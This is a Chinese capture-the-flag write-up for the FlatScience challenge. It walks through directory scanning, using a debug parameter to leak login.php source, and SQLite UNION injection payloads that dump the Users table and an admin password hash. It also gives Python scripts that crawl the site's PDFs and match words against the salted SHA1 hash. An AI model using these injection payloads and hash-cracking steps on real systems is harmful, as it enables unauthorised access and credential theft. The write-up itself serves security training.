【攻防世界】FlatScience

进入题目,叽里咕噜说一大串,大意是我是教授,不信就来看我下面超链接的论文

 

 进去后全是文档,暂时没有思路,那就用 dirsearch 扫一下:

 这是下载和使用教程:dirsearch使用教程_dirsearch的使用方法-CSDN博客

 admin.php、login.php、robots.txt 比较可疑,都访问看看

robots.txt :提示我们去看 login.php 和 admin.php

 

login.php 是注册界面,尝试注册却没有反应

 

抓包看看有什么东西,有提示参数 debug ,说明大概率开启了debug模式,那么我们在访问login.php时带上参数debug

 

加上 debug 参数后,网页显示出 php源代码

 

源码如下,不是很长,可以分析一下,也可以丢给AI

<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>


<div align=right class=lastmod>
Last Modified: Fri Mar  31:33:7 UTC 1337
</div>

<h1>Login</h1>

Login Page, do not try to hax here plox!<br>


<form method="post">
  ID:<br>
  <input type="text" name="usr">
  <br>
  Password:<br> 
  <input type="text" name="pw">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

分析代码,发现以下问题:

  • 输入的 usr 存在注入没有任何过滤,能够拼接进数据库中执行

  • SQL注入风险:代码中直接将用户输入的用户名拼接到SQL查询语句中,没有对输入进行过滤或使用参数化查询,存在SQL注入漏洞。使用的数据库为sqlite。
  • 密码存储方式:密码以明文形式存储在数据库中,仅在验证时使用了sha1函数对用户输入的密码加上字符串“Salz!”进行哈希处理,安全性较低

 

需要注意的是平时注入用的语句都是 MySQL 的,这里用的是 sqlite ,先简单地了解一下:

与MySQL有一点区别,sqlite_master(相当于 MySQL 中的information_schema)中存着相关信息

字段:name #表名
字段:sql #表结构,表的字段信息都在里面,初始化数据表的sql语句

注释使用的是--(MySQL用的是#)

用bp拦截,开始注入,先判断出字段数为2

a' order by 3 --

 

判断出回显为第二位

a' union select 1,2 --

 

 查sql表中字段

a' union select 1,sql from sqlite_master limit 0,1 --

 

 拿到的是url编码后的数据,解码前后:

CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));

数据表:Users

字段有:id、name、password、hint

 

name应该就是admin,password应该就是我们想要的密码

验证一下自己的想法,name确实是admin:

a' union select id, name from Users--

 

 

构造查询password:

a' union select id, password from Users--

 

 

成功拿到sha1编码后的password:

3fab54a50e770d830c0416df817567662a9dc85c

直接使用在线解码工具:MD5免费在线解密破解_MD5在线加密-SOMD5

 去掉后面的 Salz! ,密码为:ThinJerboa

登录后成功拿到flag:

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?} 

 


 

不过还有另一种解法,看看 id 和 hint 字段有什么,结果如下:

id=1

name=admin

password=3fab54a50e770d830c0416df817567662a9dc85c(MD5是消息摘要加密,可能会解不出来)

hint=my+fav+word+in+my+fav+paper?!

关键在于 hint ,意思是密码在论文里,

使用网上的脚本
使用python3从一个给定的URL开始,递归地查找并下载所有符合条件的PDF文件:

如果未安装wget,可以从以下网址下载适合 Windows 的 wget
import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list 
    print(url)
    req = requests.get(url).text
    re_1 = re.findall(re1,req)
    for i in re_1:
        pdf_url = url+i
        pdf_list.append(pdf_url)
    re_2 = re.findall(re2,req)
    for j in re_2:
        new_url = url+j[0:2]
        get_pdf(new_url)
    return pdf_list
    # return re_2

pdf_list = get_pdf('http://220.249.52.133:46876/') //这个需要改成自己场景的url
print(pdf_list)
for i in pdf_list:
    os.system('wget '+i)

从当前目录下的PDF文件中提取文本内容,并尝试通过SHA1哈希匹配找到一个特定的密码:

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

得到admin的密码:ThinJerboa

 登录后拿到flag:

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

 

posted @ 2025-05-04 14:07  Antoniiiia  阅读(66)  评论(2)    收藏  举报